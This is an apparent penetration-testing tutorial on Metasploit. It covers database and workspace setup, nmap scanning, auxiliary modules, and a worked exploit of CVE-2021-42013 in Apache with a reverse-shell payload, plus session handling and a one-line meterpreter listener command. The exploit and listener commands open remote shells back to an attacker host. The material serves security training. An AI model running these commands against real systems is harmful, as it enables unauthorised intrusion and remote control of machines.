# 101

## Setup

### Database

**Metasploit Framework (MSF)** in Kali Linux doesn't start its database (PostgreSQL) by default, but it’s useful for storing target data and tracking exploits.

```bash
# Initialize database
sudo msfdb init

# Start PostgreSQL service
sudo service postgresql start

# Launch MSF Console
sudo msfconsole -q

# Check database connection
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
```

### Workspaces

MSF uses **workspaces** to separate different tests and avoid data mix-up.

```bash
# Check current workspace
msf6 > workspace

# Create a new workspace
msf6 > workspace -a test_ws
[*] Added workspace: test_ws

# Switch to a specific workspace
msf6 > workspace test_ws
[*] Workspace: test_ws

# Check current workspace again
msf6 > workspace
  default
* test_ws
```

Scan results will now be saved in the selected workspace.

```bash
# Scan target
msf6 > db_nmap -A 192.168.50.202

# List discovered hosts
msf6 > hosts

# List discovered services
msf6 > services

# List hosts with port 445 (e.g., SMB service)
msf6 > services -p 445
```

## Modules

MSF includes **modules** for various purposes, categorized for ease of use.

```bash
# List module categories
msf6 > show -h
```

### Auxiliary

**Auxiliary modules** perform tasks like scanning, fuzzing, and enumeration.

```bash
# List all auxiliary modules
msf6 > show auxiliary

# Filter modules by type
msf6 > search type:auxiliary smb

# Filter by name (e.g., SMB version scanner)
msf6 > search smb_version

# Use a specific module
msf6 > use 0

# View module info
msf6 auxiliary(scanner/smb/smb_version) > info

# List module options
msf6 auxiliary(scanner/smb/smb_version) > show options

# List required options
msf6 auxiliary(scanner/smb/smb_version) > show missing

# Set required options
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.50.202

# Run module
msf6 auxiliary(scanner/smb/smb_version) > run
```

### Exploit

**Exploit modules** in MSF target specific vulnerabilities in applications or services. Key Features:

* **Database Integration**: Automatically tracks targets, services, and vulnerabilities.
* **Reliability**: Repeatable sessions for stable access.
* **Payload Flexibility**: Users can select payloads based on the exploit.

{% code overflow="wrap" %}
```bash
# Create a workspace for exploits
msf6 > workspace -a exploits
msf6 > workspace exploits

# Set target host
msf6 > setg RHOSTS 192.168.225.16

# Search for CVE-2021-42013 exploit
msf6 > search CVE-2021-42013

# Select exploit module
msf6 > use 0

# Configure payload and options
msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST 192.168.45.242
msf6 exploit(multi/http/apache_normalize_path_rce) > set SSL false
msf6 exploit(multi/http/apache_normalize_path_rce) > set RPORT 80
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload linux/x64/shell_reverse_tcp

# Run exploit
msf6 exploit(multi/http/apache_normalize_path_rce) > run
```
{% endcode %}

## Sessions & Jobs

**Sessions** manage interactions with successfully exploited targets. **Jobs** run in the background.

```bash
# Background the current session
^Z
Background session 1? [y/N] y

# List active sessions
msf6 > sessions -l

# Interact with a session
msf6 > sessions -i 1

# Close a session
msf6 > sessions -k 1
```

## Inline Commands

{% code overflow="wrap" %}
```bash
$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.45.157; set LPORT 9999; exploit -j"
```
{% endcode %}
